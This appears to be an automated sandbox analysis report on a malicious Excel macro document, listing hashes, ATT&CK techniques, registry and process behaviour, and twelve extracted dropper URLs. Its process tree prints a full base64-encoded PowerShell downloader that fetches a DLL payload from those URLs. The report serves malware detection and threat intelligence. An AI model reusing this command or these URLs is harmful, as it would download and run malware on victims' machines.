7eea9932c121cccd15dd3a077e0012b87bf65a0c97639ccd4eccc90151394402

Analysis

max time kernel
49s
max time network
81s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
02/02/2022, 18:44

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Report Analysis Logs

General

Target
Paramount Software Solutions Inc.xls
Size 150KB
Sample220202-xdjz8abce7
SHA256 7eea9932c121cccd15dd3a077e0012b87bf65a0c97639ccd4eccc90151394402
MD5 0d5737fab1f9e772bf585b38ca709833
SHA1 04e6bf1b946fa6044caa44569030af4b8fcdc35d
SHA512 658c0d67e641293c0e60f633551d1f643d15f5a1b58f0e0d2c7b2e6041632ed979e8904b468b977c46ffa4b645bb0786010ec95b35896b12b570402099ebb6ac
MD5 SHA1 SHA512

Score

10^/10

persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
exe.dropper
http://sbcopylive.com.br/rjuz/w/
exe.dropper
https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
exe.dropper
https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
exe.dropper
https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
exe.dropper
http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
exe.dropper
https://pardiskood.com/wp-content/NR/
exe.dropper
https://daujimaharajmandir.org/wp-includes/63De/
exe.dropper
https://datasits.com/wp-includes/Zkj4QO/
exe.dropper
https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/
exe.dropper
https://atmedic.cl/sistemas/3ZbsUAU/
exe.dropper
https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1968	464	wscript.exe	81

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
464	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1904	svchost.exe
Token: SeCreatePagefilePrivilege	1904	svchost.exe
Token: SeShutdownPrivilege	1904	svchost.exe
Token: SeCreatePagefilePrivilege	1904	svchost.exe
Token: SeShutdownPrivilege	1904	svchost.exe
Token: SeCreatePagefilePrivilege	1904	svchost.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE
464	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 464 wrote to memory of 1968	464	EXCEL.EXE	93
PID 464 wrote to memory of 1968	464	EXCEL.EXE	93
PID 1968 wrote to memory of 4452	1968	wscript.exe	94
PID 1968 wrote to memory of 4452	1968	wscript.exe	94
PID 4452 wrote to memory of 1080	4452	cmd.exe	96
PID 4452 wrote to memory of 1080	4452	cmd.exe	96

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Paramount Software Solutions Inc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:464
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      PID:1080

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 842978cb77e8fb389fbe48ae4d6d833c NVG2SM/LfUGScfRBoNVdNQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/464-133-0x00007FF7F9F30000-0x00007FF7F9F40000-memory.dmp

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memory/464-134-0x00007FF7F9F30000-0x00007FF7F9F40000-memory.dmp

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memory/464-135-0x00007FF7F9F30000-0x00007FF7F9F40000-memory.dmp

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memory/1904-556-0x0000020F78740000-0x0000020F78750000-memory.dmp

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memory/1904-558-0x0000020F787A0000-0x0000020F787B0000-memory.dmp

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memory/1904-567-0x0000020F7B4C0000-0x0000020F7B4C4000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads